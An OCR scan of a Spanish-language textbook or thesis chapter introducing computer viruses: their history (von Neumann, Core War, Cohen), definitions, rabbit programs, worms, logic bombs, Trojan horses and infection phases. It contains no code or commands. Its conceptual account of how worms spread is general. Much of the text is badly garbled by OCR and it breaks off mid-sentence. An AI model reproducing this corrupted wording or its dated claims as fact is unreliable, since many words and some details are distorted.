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CAPITULO I

, VIRUS COMPUTACIONALES
11 INTRODUCCION

"iHace pocos afios nadie hubtera imagmado que su computadora podria enfermar
presentar simomas desconecidos .y mucho menos que esta enfermedad fuera causada
por... un mortifero virus!”. Desde entonces, en 1990, ya se veia vewr el problema de los
virus informaticos, que se propaga a una velocidad poco comin

Hoy dfa esto parece ser la causa més frecuente del mal funcionamiento de cualquier
computadora, v también el origen de costosas pérdidas de informacién tanto en los discos
flexibles {Floppy disks) como en los discos fijos o duros (Hard disk). En ocasiones, los
virus pueden provocar perturbaciones ¢n el monitor al momento de ejecutar nuestro
programa preferido, pero creer que una computadora se enferma es solo fantasia.

Los virus informaticos son hoy una realidad reconocida por las empresas dedicadas
a la fabricacién de software y hardware, e inclusive las oficinas de gobierno los reconocen
como un problema gue mina su productividad en el area de la computacion, ya que sus
computadoras -junto con fas computadoras de las instituciones de educacidn- son las mis
afectadas. Esto es facil de entender, puesto que es ahi donde mas personas pueden tener
acceso a las computadoras v mediante la insercion de disguetes en ellas, es como se
propagan los nefastos programas.

iPar qué Uamarlos Virus? La gran simdlitud entre el funcionamiento dz los virs
mformaticos y los virus bioldgicos, propicié que estos pequefios programas se denominaran
VIFUS.

Los verus binldgicos sop orgamsmos infinitaments pequefios, va que miden
aproximadamente de 200 a 250 angstroms -el diametro de un cabello mide un millon de
angstroms- [ns virus informdticns también son programas muy pequefios; mientras mas
pequedios sean y mas control puedan tener sobre la computadora, justifican su apelativo.

Los virus binldgicns nfectan las células del organismo humano, modifican su
informacién genética al irse reproduciendo dentro de las células afectadas, pueden estar
latentes en €l organismo durante bastante iempao sin que £ste presente ningln sintoma de
mfeccidn. Los virus informdficos atacan 1a parte mas vulnerable del sistema; el sector de
carga (Boot sector), Jos programas con extensién COM, EXFE, OVI, DLIL vy atros,
modifican su estructura v se reproducen deniro de éstos, también pueden estar latentes en el

sistema -infectando discos y programas-, ¥ no presentar problemas durante largos pericdos

Adicionalmente, cuando sufren mutaciones los virus bioldgicos, resulta muy difici]
detectarlos lo cual los hace extremadamente dificiles de combatir una vez que se han
presentado los sintomas, no afectan a todas las célufas del organismao con las gue entran gn
contacto, afortunadamente los avances de Ia ciencia médica permiten prevenir la infeccign



aphcando vacunas elaboradas con el mismo virus en dosis muy pequefias  1.os virus
miformaticos se modifican por s1 solos para evitar ser detectados faciimente, no afectan a
todos los archivos que entran en contacto con ellos v por suerte algunos programadores han
hecho programas gue permilen prevenir su contagio por medio de vacunas, programas
antivirus que los detectan en cuanto se presentan, v los eliminan antes de que empecen su
destructiva accién,

Se ha hablado mucho en les medios especializados de mfeccrones virales que
afectaban las computadoras de centros de investigacién, de instituciones de educacidn o de
grandes empresas, aunqgue éstas no o daban a conocer para no admitir la vulnerabiiidad de
sus equipos ¥ programas. Esto provocaba mucho temor y desaliento en ia comunidad
informatica mundial que ya habia temdo contacto con esta plaga  Por fortuna, el temor al
contagic ha servido para concientizar a los usuarios a fin de que utilicen discos de
programas oniginales v no se fien de las copias que se les ofrecen

.o anterior devuelve la confianza a los programadores, quienes al sentirse libres de
la intranquilidad que les produce 1a proliferacion de la pirateria, disponen de mas tiempo

12 BREVE HISTORIA

En sus comienzos, los virus informdticos fueron mas programas autorreproductores
que programas destructivos. De hecho, lo que posiblemente empezé como un juego, paso
rapidamente a converfirse en un método para acceder, de forma fraudulenta, a
computadoras v bases de datos que contenfan informacion confidencial, pero sin ser

destructivo

Esta actividad de bisqueda fraudulenta de informacion, fue desarrollada
principalmente en USA debido a la proliferacion de grandes redes de computadoras. Las
personas que se dedicaban a esto recibian el nombre de HACKER

f.a mavor parte de la actvidad de un hacker era romper los mecamsmos de
seguridad de los sistemas informancos v dado que dicha térea resulta bastante mondtona,
los hackers se auxihiaban de programas, los cuales recibieron el nombre de programas
gusano.

(tras de las vanantes de los programas daftinos son las lamadas bombas 16gicas.
Estas tienen por objeto la destruccidn de los programas de la computadora al cumplirse
una determinada condicion; eiemplo, la legada de una cierta fecha Fstas bombas logicas
son infroducidas en los programas por los propios programadores, y tiene por obieto el
destruir el programa en caso de impage del chiente o incluso el sabatae.

T.as bombas 10gicas no son programas autorreproduciores, ni pueden propagarse de
ung computadora a ofro, pero si son destructivos



También existen programas que bajo la apaniencia de normalidad, juegos,
procesadores de texto, etc., esconden aigin tipo de labor destructiva, pero no sé
autorreproducen Sin embargo, si se propaga, de una computadora a otra, ya que desde que
son utihzados la primera vez hasta que da la cara el efecto destructivo pasa un tiempo,
tiempo durante et cual hemos podido sacarle copias para nuestros amigos vecinos, que a su
vez han sacado copias para los suyos.

Este método se llama caballo de Troya, y algunos pensan que fue creado por ios
fabricantes de juegos de computadora para atatar por métodos drasticos la pirateria o copia
ilegal de programas.

Tanto las bombas l6gicas como el caballo de Troya no son virus propramente
dichos, puesto que nc tiencn la capacidad de autorreproduccidn y el efecto nocivo de los
mmsmos viene incluido en el propio programa desde su programacén, no siendo algo que se
le haya aftadido posteriommente, por lo que una vez que se identifica ¢l programa, se borra y
s¢ acaba el peligro, y ademds se avisa a los amigos que pueden tener copia de los mismos.

1.3 ORIGEN DE LOS VIRUS

Los articulistas mds escrupulosos han pretendido otorgar a John Von Newmann la
patermdad de los virus. Von Newmann, matemético brliante, hizo importantes
contribuciones a la fisica cudntica, la légica, la meteorologia y la teoria de computadoras,
En un articulo titulade “Theory and Organization of Complicated Automata”, de 1940,
Newmann expone la idea de una porcion de codigo que se reproduce y por tanto estd
"vivo" Afios mas tarde, en 1955, en su obra The Computer and the Brain (publicado en
espafio] en 1980 con €l titulo La computadora y el cerebroj, hace una disertacién teorica
sobre la posibilidad de crear un autdémata capaz de reproducirse a si mismo.

Estos primeros indicios tedricos de autorreproduccion del software no parecen ser
lo bastante sohdos para establecer el origen. Seria algo parecido a asignar a Julio Verde la
paternidad del submarino por su obra Femnte mul leguas de vigre submarmo o la del cohete
lunar por su obra De la Tierra a la Luna.

ia clave en el ongen de la difusién del fenémeno viridico se ha querido situar en
una seri¢ de articulos publicados en la revista americana Screntific American, firmados por
A K. Dewdney. Ei primero de la serie, fechado en mayo de 1984 vy traducido en
[nvestigacién y Ciencia, version castellana de la revista americana, en julio de 1984, se
fituldo "Juegos de computadora: en el juego de la <<Guerra Nuclear>> dos programas
hostiles entablan, sin ayuda externa batallas de bits * (El nombre onginal dei juego es Core
Wars “Guerra de toros de feria™).

En este primer articulo, Dewdney explica el programa llamado Guerra Nuclear,
Juego en el que no mtervienen activamente los usuarios. En él dos programas hostiles se
enzarzan en una lucha para obtener el contro! de la memoria atacando abiertamente al
contrario. Estos dos programas se ponen en marcha mediante un programa ejecutor
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llamado MARS {Memory Array Redcode Simulator), que va ejecutando alternativamente
las instrucciones de que constan los programas de combate, una msfruccion de cada
programa, de medo similar a un sistema caracterizado por compartir tiempos. Ayudado por
David Jones, alumno de su departamento, va desarroliando programas cada vez mejor
equipados para destruir a su contrario  Una de las versiones, denominada Gemini, tenia
como (nica funcion producir una copia de si mismas cien unidades de memoria méas alld de
su posicion actuai, transfiriendo después el control a ka nueva copia.

Dewdney comenta en este articulo que el ongen de su Guerra Nuclear esta en una
tecnologia de construccién de memorias. Cita el autor dos precedentes de su juego. Por un
lado, M. Douglas, de los laboratorios american Telephon & Telegraph, disefié un programa
llamado Darwin. En él, cada jugador presenta cierto niumero de programas en lenguaje
ensamblador llamados "organismos”, que habitan conjuntamente en la memona central con
organmismos presentados por los demas contendientes los programas creados por cada
Jugador, pertenecientes a una misma especie, tratan de aniquilar 2 los de otra especie
(Gana la partida el jugador con més organismos al acabar el tiempo de combate.

Por otro lado, john F Scoch, del Centro de Investigacion de Xerox en Palo Alto,
Estados Unidos, cred Worm (gusano) Este programa experimental fue ideado, para
obtener el maximo rendimiento de una red de minicomputadoras interconectadas de Xerox.
Un programa supervisor se encargaba de cargar el "gusano” en mdquinas inactivas para
asumir el control de [a maquina vy, en coordinacion con otros gusanos residentes en otras
maguinas inactivas, hacer funcionar grandes programas de aplicacién en el sistema
multiprocesador resultante.

En el texto de este primer articulo, Dewdney msta a los lectores a que reflejen sus
ideas de programas autoprotectores, autorreparadores, establece las normas y reglas del
juego Jamds hubiera imaginado el autor lo que aconteceria.

En el transcurso de! mismo afio {1984) se define por primera vez, de forma publica,
el térmuno “virus de computadora”. Durante la conferencia IFIC/SEC'84, en septiembre de
1984, el doctor Fred Cohen, en su exposicion de la ponencia "Computer Viruses: Theory
and Experiments", explica este tipo de programas como soffware maligno capaz de
reproducirse a si mismo.

El segundo articulo de Dewdney en Screnttfic American, en marzo de 1985, se tifula
“Juegos de computadora: virus, gusanos y otras plagas de la Guerra Nuclear atenta contra la
memoria de las computadoras® En &} Dewdney, pone de manifiesto las consecuencias que
puede acarrear su juego gracias a los testimonios escritos de sus lectores.

Comenta el autor ... Cuande en julio def afio pasado aparecid el articulo dedicado
a la “Guerra Nuclear”, no se me ocurrié que pudiera estar tocando un tema tan serio. Las
descripciones de programas escritos en lenguaje maquina que entonces di, capaces de
desplazarse de uno a otro lugar de la memeoria, ai acecho, dispuestos a aniquilarse el uno al
otro, pulsaron una cuerda resopante”. Continua diciendo el autor: "... segin muchos



lectores cuyas historias y anécdotas referiré, existen multitud de gusanos, virus ¥ otros
organismos “programaticos”, que moran en tode ambiente mformatico concebible. Tan

fu

horripilantes son algunas de las posibilidades, que dudo si transcribarlas ™.

No se debe de interpretar que A. K. Dewdney fue el inventor de los virus, mas bien
se debe ver como un impulsor involuntario de este tipo de programas al difundir un
inocetite y creativo juego No se trata de debanr ia trasparencia informativa del fendémeno,
lo que no cabe duda es que el autor colabord inocentemente en dar a conocer ¢l fendémeno
virico cuando decidié franscribar alguna de las "horripilantes posibilidades” Estas son
algunas de ellas.

Jim Hauvser vy Wilham R Buckley, de la Universidad Politécnica de California,
crearon el Apple Worm, gusano de las computadoras de la marca Apple. Este programa
sacaba copias de si mismo en un viaje a través de la memoria del Apple II con un
procesador 6502.

Otra de las plagas informaticas fue concebida por Roberto Cerruti y Marco
Morocutt: en la ciudad de Brescta. Los dos italianos buscaron el medio de infectar el
Apple 11, pero no con un gusano sino con un virus, Las conclusiones que sacaron fueron
que el programa tendria que infectar los discos y utilizar Ias computadoras como medio de
transmision de un disco & otro.  El virus era una alteracién del sistema operativo conterudo
en cada diskette del Apple.  La ocurrencia consistia en que al cabo de dieciséis ciclos
autorreproductores contados en el disce contagiado, el programa decidiera reinicializar el
disco inmediatamente después del primer arranque. Incluso se les ocurrié colocar sus virus
en los discos utilizados en la principal tienda de informéatica de su ciudad. La razon triunfo
y no llevaron adelante su idea

Algunas hipotesis, sin confirmacion, apuntan a los grandes fabricantes de sofiware
como iniciadores de la cormente virica, La justificacién se establece como mecanismo de
proteccidn comtra la copia para evitar que sus productos fuesen multitudinanamente
ptagiados sin obtener beneficios. Es evidente el quebranto econdmico gue este otro tipo de
delito produce en la mdustria del soffware, pero parece descabellada la idea de combatir ¢l
fuego con fuego. Este tipo de guerra acabaria perjudicando a los mismes fabricantes, que
tendrian que reemplazar miles de copias de sus productos. No parece sensato que quieran
tirar piedras contra su propio tejado. Ademds, la tendencia actual en el soffware esta
acabando con las pretecciones. La mayoria de las casas comerciales esta desprotegiendo
sus productos contra la copia. Esta justificacion se refiere a los grandes disefiadores de
programas, no descartandose que algim pequefio fabricante haya utilizado estas técnicas de
proteccion.

Otras versiones juegan con iz paradoja def huevo y la gallina. ;Qué fue primero, el
virus o ¢l antidoto? Insintian que los virus proceden de fabricantes de progranias que los
combaten. Aunque la idea no parece del todo descabellada, no resulta demasiado sélida,

! Los virus informaiices, pag 20



dada la gran cantidad ¥ variedad de programas contaminantes que circulan en los ambitos
informaticos.

Resulta realmente complicade establecer la verdadera procedencia de este tipo de
programas. Seguramente no surgieron de forma aislada en un Gnico lugar v como idea de
un {mco programador, sino que son el fruto de la ocurrencia stmulténea de distmntos
programadores malévolos en varios paises

1.4 DEFINICION DE VIRUS

Un virus computacional es un programa creado en forma mtencional que es capaz
de autorreproducirse e infectar o albergarse en un portader sin afectar la ejecucion del
programa portador. Si no cumple con estas dos reglas, no se trata de un virus propiamente,
entre estos se distinguen con el término "virus", un programa de computadora,
generalmente andnimo, que lieva a cabo acciones que resultan npocivas para el sistema
informatico y cuyo funcionamiento queda definido por las propiedades que se indican a
continuacion

Es capaz de generar copias de si mismo de forma homogénea o en partes discretas,
en un archivo, disco o computadora distinto al que ocupa.

Modifica los programas ejecutables a los que se adosa, o entre cuyas instrucciones
de codigo se introduce, consiguiendo asi una ejecucion parasitaria. Esto implica que se
pueda activar de forma involuntaria por el usuario cuando éste ejecuis el programa que lo
portaz. Los programas portadores pueden ser de uso corriente del usuario o programas
gjecutables del sistema operativo, siendo estos Gltimos el objetivo esencial del virus.

El efecto que produce un virus puede comprender acciones tales como un stmple
mensaje en la pantalla, la lentizacion de la velocidad de proceso de la computadora o él
formateo de una unidad de disco, pero no se debe olvidar que su funcionamiento intrinseco
coincide con el de cualquier programa ejecutable Esta caracteristica supone que para que
un programa de esie tpo ejerza sus acciones nocivas es necesario que se active, es decir,
que ¢l codigo que lo conforma se ejecute. Por otro lado, debe permanecer en memoria
para poder obtener asi el control permanente de la unidad central de proceso (CPU), centro
neurdigico de la computadora,

Generalmente, su funcionamiente comprende dos faces bien diferenciadas. Durante
un periodo el programa permanece oculto al usuario, en espera de una accidn, como la
introduccién de una cadens especial de caracteres por el teclado, una fecha determinada o
un tope de autocopias del virus almacenado en un contador interno  En esta fase el
programa realiza una accidn de esparcimiento cuyo objetivo fundamental consiste en
realizar el mayor namero posible de copias de si mismo en otros soportes distintos o en et
mismo que €l ocupa. '

Una vez que se produce este hecho, ¢l virus realiza la accion nociva para la que ha
stdo programado, completando asi la segunda fase de funcionamiento.



Por (iltimo, cabe destacar que un virus se disefia intentando disfrazar su presencia
ante el sistema y ante ¢l usuario. Generalmente no es descubierto hasta que, en la segunda
fase del ciclo de funcionamiento del programa, surge un hecho anormal derivado de su
egjecucidn que da la sefial de alarma.

A la vista de la presente definiciéon se pueden realizar algunos comentarios
adicionales. Denominacién de virus informatico corresponde a vna metafora que asocia
este tipo de programas con sus homénimos biologicos. Ciertos autores han quendo
encontrar en las caracteristicas de los virus biologicos crerias stmilttudes con los programas
de sabotaje. Asi ha nacido una nueva era informatica que incluye térmimnos como

ron nou [LT] noar

"epidemia”, “contagio”, “infeccidn”, "vacuna”, "antidoto”, "tiempo de mcubacion”, etc.

Clertamente podria existir una similitud en lo que se reflere al fenémeno
autorreproductor def virus bioldgico con su metafora informatica. Incluso seria aceptable
comparar e] tiempo de latencia o incubacién de un germen con la espera ante un hecho que
desencadene ¢l virus informatico Pero parece excesivo buscar comparaciones entre el
ADN de las células atacado por un agente patdgeno v la forma en que un programa nocive
se adhiere o mntroduce en un programa ejecutable de computadora.

Aungue resulte simple la aclaracion, se hace necesario destacar que el "contagio”
det virus se realiza de forma logica a través de operaciones de enirada y sahda sobre
soportes magnéticos, estando ¢l programa contaminante en ¢jecucion y residente en
memoria. Este comportamiento deshace toda hipotesis de contagio por contacto directo de
los soportes magnéticos con la computadora v, por supuesto, con las personas que lo
manejan.

No se debe olvidar que ¢l origen de todo virus es un programa "padre” desarrollado
por un programador experto, encargado de tniciar la eptdemia de accrones perjudiciales.

Algunos autores determinan una clasificacién de los programas vincos en funcion
dget efecto de las acciones que realizan. Asi, han dividido estos programas en benignos y
malignos. En la subdivisién de los benignos se incluyen programas que no ejercen
acciones destructivas sobre la imformacién almacenada en el soporte magnético. Un
ejemplo sencillc de accién "benigna” seria un mensaje por pantalla felicitando ¢l afio
nuevo.

Si se analiza un poco nds con detenimiento ¢l efecto de un virus, se deducird
fhcitments que este factor de benignidad no extste. Un programa de este tipo contleva ura
ejecucion residente en memoria que supone una reduccién del espacio operativo de la
s, Por otro tado, necesita del manejo de mierrupeiones del sistema operatrvo pars
sacar el mensaje por la pantalla e influye sobre el mecamismo de control de la CPU. La
suma de estas acciones puie suponer uima reduceidn patente de ka velocidad de proceso en
el hardware y un aumento considerable en el tiempo de respuesta de 1a computadora, lo
que significa wna pérdida considerable de trempo



Imagimemos un centro de proceso de datos de un gran banco Al terminar el dia, se
programma fa computadora para que actuwalree fas cuentas bancamas con ks mmdes de
operaciones que se han efectuado. Una tarea asi se realiza durante la noche mediante un
Proceso barch © proceso por otes  Este sTstenma consiste en prepatar wma serte de trabajos,
en nuestro caso de actualizacion de archives, para que se realicen sin un control continuo
del operanio.  El método supone un ahorro de fismpo v un mejor aprovechamiento del
sistema.

Continuemos dejando volar la imagmacidn y supongamos que se ha contammnado el
programa de actuatizactém con un vires "bertene” que te da las baenas noches o operador,
solicitando después que se pulse una tecla para continuar el proceso normal. El programa
de actualtzacion, portador del codige contanmmante, comenzarg sy gjecucion v af atcanzar
dicho cédigo, detendra el proceso de actualizacion y sacard por pantalla ef simpatico
mensaje. El proveso se mantendra deterido en espera de que alguen pulse una tecla para
continuar comn la gjecucion del programa de actualizacidon. Si el adminisirador de] sistema
esta pendients de la efecucrén, poco probable st ta fechoria se realtza de madrapada, no
supondra una pérdida notable de tiempo  Pero jqué sucederd si el administrador del
sistetra 10 $€ percata hasta pasaddas varras horas o oy estd presente en of centro de procesy
de datos? No serfa complicado evaluar las consecuencias econdmicas que esto supondria.

La moraleja aplicable es que no hay virus bemgno. Cualquier funcionamiento
andmralo de un sistema de informacton supone un perpucio para ¢ usuario que implica vira
pérdida importante de iempo v, por tanto, de dinero.

14.}. CONCEPTO DE VIRUS

Los virus informaticos, realmente no son propiamente programas sino un segtmento
de codigo, un trozo de programa, que se mtercala demtro de ofros programas y tomz e
control del sistema operativo de la computadora, siendo capaces de propagarse creando
duplicados de si mismos ¢ msertindolos dentro de otros programas que s& ponmen 2 su
alcance

Los virus liegan a la computadora dentro de un programa contaminado contenido en
atgin disvo flexible. A comtinuacién se instatan mfectando e sistema operativo ¥
modificando todo programa que utiticernos, a partir de entonces, ent la computadora para
ettt en é una copia det virus, de fermma que st coptamos uno de esos programes on un
disco flexible v lo llevamos a otra computadora, el virus se propagard a €ste. Una vez
pasado un tiempo duranie ef cual ha estado reproduciéndose, tempo de fatercm, o bien
cuando se cumple una determinada fecha, el virus se activa v comienza su accién
destructora.

Fundamentalmente, la contaminacion de nuestra computadora se produce cuando
COPTANTOS UR Progranta comaminado y 1o ejecutamos.



A partir de ese momento, el virus hace una copia de si mismo en algln lugar del
disco que conishga ef sistema operativo

1.4.2 CARACTERISTICAS DE LOS VIRUS

Estos programas tienen algunas caracteristicas especiales: son muy pequeflos -en muy
pocas lineas contienen nsiruceiones, parameiros, contadores de tiempo o del nlmero de
copilas, mensajes, etc.-, cas1 nunca wncluyen el nombre del autor, ni el registro o copyright,
nt la fecha de creacion, se reproducen a si mismos v foman el control de la computadorz o
modifican otros programas

Estin escritos generalmente en lenguaje ensamblador, pero muchos de ellos han sido
elaborados utilizando alguno de los lenguajes mas populares, como C, T+, Pascal, Turbo
C o Turbo Pascal.

1 5 ANTECEDENTES DE LOS VIRUS

La definicion de lo que es un virus informdtico ha ido gestandose de manera lenta. La
palabra viras no tiene ahiors, en ef muado informadtico, Ja misma significacion que femia
hace diez afios, cuando por primera vez se le utilizé. Podriamos decir que, originalmente, el
significado cra: "programa autorrepreductor con efectos desiructivos”, las dos
caracteristicas, autorreproduccion y destruccion son las que poseen los virus actuales. El
congepto, sin entbargo, se ha ido perfifando poco a poco « medida que aparecian mevos
tipos de programas destructivos, y hoy en dia distinguimnos varias categorias dentro de
elios, cada una de las cuales tiene su nombre propio.

Los virus informdticos son Jos descendientes de otras especies antenores, las cuales
actuaban de formas diferentes y servian objetivos distintos, siendo et anico punto en cotirin
el hecho de que se trataba de programas con efectos destructivos sobre los sistemas
informéaticos. Entre 1os principales podeimos resaltar.

* ¢l programa conejo

* los gusanos

* las bombas ldgicas

* jos caballos de Troya

1.5.1 EL PROGRAMA CONEIO

La primera criatura que recibié (incorrectamente} el nombre de virus fue en una
computadora multiuseario de alguna universidad americana. Probablemenie fue a uno de
estos estydiantes a quien se le ocurri6 la feliz 1dea da hacer un programa "reproductor”, el
programa se situgbz pacientemente on fa ¢ola de espera y, cuando Hegaba a ejecutarse,
creaba un par de comas de si mismo y las ponia a la cola. No destruia archivos ni se
immiscuta en los programas aienos Bl resulfade ers gue al poco Hempo, 1a memoria de la
computadora se saturaba con mules de copras del programa, que terminaban por bloquear el



funcionarento del ssstema. Al encargado de este no le quedaba otro remedio que borrar
todas las copias y proceder a la tediosa farca de restattrar ¢f funcionammenio de la
computadora.

El nombre de virus quedo asociado originalmente a dos ideas la autorreproduccion y
de los efectos destructivos.

1.5.2 GUSANOS Y HACKERS

El desarrollo de grandes redes de computadoras, principalmente en USA, dio lugar
al surgimienio de la especie mas conocida de "pirata informatico”. el hacker. El hacker es
un experto de la informatica doméstica cuya principal actividad, consiste en acceder de
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forma fraudulenta a computadoras y bancos de datos que contienen material confidencial.

La mayor parte de la actividad de un hacker se dedica a romper los mecanismos de
seguridad gue los creadores de los sistemas informéaticos establecen para intentar disuadir a
los curiosos. Los métodos empleados por los hackers son diversos, pero fa tarea de penetrar
en una red de computadoras es bastante repetitiva una vez localizado uno o tias fatlos ded
sistema de seguridad {gencralmente a través de la experimentacién), se monfa una
estrategia de ataque anrovechindose de los mismos, v el resio no consiste mas que en
destripar una serie de claves de acceso para moverse de una computadora a otra.

Puesto que se trata de una tirea mondtona, es natural que los hackers se auxiliaran
de programas en 54 idrea, Jos cuales recibieron el nombre de programas gusano. El sistema
es sencillo en su concepeién {(aunque el escribir un programa gusano no lo sea). primero,
hay que aceeder & algyng de las compuiadoras de Iz fed, et ol que montamos I prunera
base de operaciones: a continuacidn se analiza (bien sobre el papel, bien de forma
cxperimental) e} sistema de conexidn de las computadoras, on busca de alghn falio de
seguridad que nos permita pasar programas de una computadora 2 otro; por ultimo, se
consirive el programa gusano gue s¢ oficarga de peneirar una a wna ias demds
computadoras de la red.

El programa gusano en s1 consta, generalmente, de tres partes una, que actia como
pnta de tenza para iviroducirse en wita nueva computadora; oira, que explora fa nveva
compuiadora en busca de informacién sobre el resto de las computadoras de la red, y otra
que permiie al hacker explorar tos archivos epn busca de informacion Las fases de
actuacion a la hora de acceder a una nueva computadora el objetivo seria las siguientes:

A} El gusano introduce en ¢l (aprovechando un fallo de seguridad) el subprograma de
perretracton

B} El subprograma de penetracién, una vez instalado en el nuevo huésped, carga en €l el
resto det gusano ’
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C) El gusano establece las vias de comunicacion y busca las claves necesarias para que su
creador explore comodamente el sisiema, en busca de mformacidn aprovechanic

D) Termina ta exploracion, otro segmento del gusano explora la computadora en busca de
pistas y claves que le permitan irastadarse a otta computadora de la red, con 1o que e
ciclo se completa.

La actividad de un hacker es generaimente ilegal, pero muy raramente destructivo.
Puesta que of obieio es penetrar fo mds posible dentro de un sistema {ya sea para
entretenerse, © para sacar informacion), cualquier actividad destructiva sena
contraproducente, va que facilitarfa la detenoidn del wireso. Bs normal, por tante, que la
penetracion en una red de computadoras por parte del hacker se realice de forma muy lenta,
para tener tiempo de explorar Jos archives, y exitemando las precauciones para #0 ser
descubierto. Uno de estos gusanos no se dedicara, por consigwente, & borrar archives ni
crear millones de copias de si mismo: por ¢l conirario, saltara de una computadora a otro
horrando toda pista detrds de él. Es de suponer gne una gran cantidad de penetraciones
Hegales en redes de computadoras supuestamente seoreias no i sdo detectadas

Pero, st bien un hacker tipico no se dedica a destruir archivos alla por donde pasa, si
es cierio gue muchos de los sistemas de penetracidn ideados por los hackers, y en especial
el concepto en si de programa gusano, son fAclmente aprovechables para fines
destructivos. No es extrafio, por consiguiente, que proifo aparecieran variantes dafiinas de
gusanos que causaron estragos dentro de algunas de las mds grandes redes de datos
amerncanas. Tomemos, pef ejemplo, ui programa gusang DeNigno y supongaitios que fo
que queremos es causar el maximo dafio en el mas breve plazo de tiempo posible. Lo fimico
que tenemos que hacer para ello es dar prioridad al aparato reproductor, de forma que ef
gusano mande el mayor numero posible de copias de si mismo a otras tantas computadoras
de la red, v sustityir ta parte destinada a expiorar < sistema en busca de informacién, por
otra que se dedique a destruir archivos.

Como podemos observar, en este tipo de programas aparecen las dos caracteristicas
que amtes ciabamos refiricndonos al programa conejol autorreproduceidn vy efecto

destructivo. Se afiade, ademds, una tercera caracterisiica, que es tipica de los virus: la
propagacion {de una oira computadora).

1.5.3 BOMBAS LOGICAS

Una bomba logica tiene por objeto la destruccién de los datos de la computadora al
cumplirse ura determitrada condicidn, por eiemplo, ta Hegada de una cterta fecha, Mientras
que no se alcanza dicha fecha, este pequefio intruso se limita a aguardar sin interferir para
nada con et funcionamiento normal del programa que le sirve de tuésped. Pero en el
momente en que se alcanza la fecha de achivacion, toma el control del equlpo v precede a
realizar su tabor destructiva
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Normalmente, la bomba ldgica es introducida directamente en el programa por
aiguno de los programadores del mismo, v su objeto puede ser muy varade desde

destruccion del programa en caso de impago del chente, hasta la destruccion de los
archivos de datos almacenados en Ja comutadora como forma de sabotaje

Las bombas logicas no son programas aumtorreproductores, m tampoce pueden
rropagarse de vna coinpitadosa 2 otra Pero, dejando apatte su potencial destructor, poseen
dos caracteristicas que, son esenciales para los virus: la pnmera es que se trata, no de
programas  independientes, sine de segnenios de codigo insertados demtro de otros
programas normales: la segunda es esa posibilidad de permanecer latentes durante un
determinacdo tiempo, para activarse despuds cuande se produce uma circunstancis
determinada.

1.5.4 CABALLOS DE TROYA

Un Caballo de Troya no es ofra cosa que un programa que, bajo apariencia de
normalidad, reatiza alglin fipo de labor destruetiva en la compytadora. La aparicidn de este
tipo de programas no lermind con el pirateo, pero si acabo con la época dorada del
librecambismeo informético.

Los Caballos de Troya, al igual que las bombas ldgicas, son programas que no se
autorreproducen, por st propia natwalera, awnque st se pusden propagarse de una
computadora a oira, gracias a la copia de disquetes. Se trata de programas completos {no
segmenios de codigo} v con finalidad Gnicamenie desiructiva, si bien &8tz es limitada. una
vez identificado el programa, nadie més lo copia.

1.5.5 INICIO BE LOS VIRUS

4Cudl era la razén que impedia a un Caballo de Troya gjercer una labor alin mds
destructiva? Pues i mas ni menos que e hecho de que, una vez gecutada v provocada la
accion destruciiva, quedaba identificado sin lugar a dudas como un programa dajfino, de
fonma gue mungin usuano o copaba méas.

Para incrementar la diseminacién del programa podia recurrirse a la idea presente
ett el concepio de la bomba iogica, v retardar de alguia manera 1a entrada en accidn. Si se
consigue camuflar el agente destructivo dentro de otros programas, en lugar de ser €l
iSO Ul DIograms mitdnomo, si consegiimas Gue se DIopague d¢ Unos PIOZTAINES  ofros;
y si se retarda lo suficiente 1a entrada en accion, Se conseguira contaminiar un gran nimero
g¢ programas antes de que el uswario se dé cuemia de lo que pasa. Después, una vez
miciada la labor destructiva, el usuaric no podria eliminar de forma sencilla el agente
patogend, porgue dste se encuentra denfro de otros programas normaies E concento de
virus habfa nacido. '

Un virus no es un programa en st, sino un segmento de cbdigo que se transmite
cono panie de otros programas ingfensives, incluso dentro del propio sistema opegativo de
:}ﬂ r » r)



la computadora Para poder diseminarse mads, el virus pasa por un estado de latencia
durante fa cual contagia a fodos los programas que se ponen a SU altance, anies de
mantfestarse. Las bombas iogicas se parecen a los virus en que son segmentos sueltos de
codiga, pero incapaces de reproductrse Al igual gue los gusanos, los virus son capaces de
crear duplicados de si mismo, pero mientras que los gusanos (que son programas
indeperclientes) confaminan compuiadoras, ios virus {que son frazos de programas)
contaminan programas
Podemos definir un virus, como un segmento de ¢odigo (un trozo de programa), qu

se intercala dentro de offos programas, que toma ¢t contral del sistema operative de la
computadora y que es capaz de propagarse creando duplicados de si mismo e insertindolos
dentro de ofros programas gue ¢ ponen a su alcance, Existe ofra caracteristica & la gran
mayoria de los virus, que es el hecho de que ejercen, ademas, una labor destructiva de
algiin fipo, pero podemos pensar perfectaments en un Vius que se propague de un
programa a oiro y que no cause, sin embargo, efecto permcioso alguno

1.6 FASES EN LA VIDA DE UN VIRUS

A) INFECCION: el virus llega a la computadora dentro de un programa contaminado
contenido en algln disquete. El usuario, mconsciente del peligro potencial, ejecuta el
programa infectado, con lo que el virus toma control del sistema operativo de la
computadora. Los virus informaticos no afectan, (si estin bien disefiados} al
funcionamiento normal de los programas que infectan. por lo que es dificil de darse
cuenta de que el programa lleva en su interior un pequefio intruso.

B) LATENCIA: una vez infectado el sistema operativo, es decir, una vez instalado el virus
dentro de la computadora, comienza la fase de latencia Durante la misma, el virus
tiene en todo momento control sobre 1o que en el sistema ocurre, y comienza a infectar
tados los programas gue stilicemos en s compuiadors dutante esta efapa seria
modificado por el virus para incluir en €l una copia del musmo, de tal forma que si
coOpiamos uno de £50$ programas en un disguete v 1o Hevamos a ofra compitadora, la
infeccion se propagara éste.

C) ACTIVACION una vez que se¢ da una deterrinada circunstancia, como por ejemplo la
Hegada de una cierta fecha, of virus se activa ¥y comtenza su accién destrctors, sea
cual sea ésta. Por ejemplo, un virus puede Ilevar la cuenta de cudntos programas ha
infectado desde su instalacién en una computadora, v aciivarse al alcanzar una
determinada cifra El tipo de accidn destructora es muy variado: desde virus gue borran
todos los archivos que tratemos de ejecutar, a otros que hacen aparecer objetos en la
pantalla gue interfieren con lo que en ese momente estemos haciendo, pasando por los
que formatean directamente el disco duro haciéndonos perder todos los archivos.

La etapa mas caracteristica de un virus es la latencia, durante la cuél propaga la
mfacctdn antes de que nosoims oS denos chenta de gue hay i oroblemms St no fiera por
esta etapa de latencia, el efecto destructive asociado al virus delataria demasiado pronto fa
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existencia de éste, con lo que no tendria tiempo de propagar su especie En clerto sentido,
podemos decir que un virus se compone de dos partes fundamentales: un aparato
reproductor, que garantiza su propagacion, y aparato ejecutor, responsable de ia accidn
destructiva y que solo se manifestara una vez que a etapa de latencia ha terminado

Cada espetie de virus informatico actia de manerz distinta, lo que dificulta su
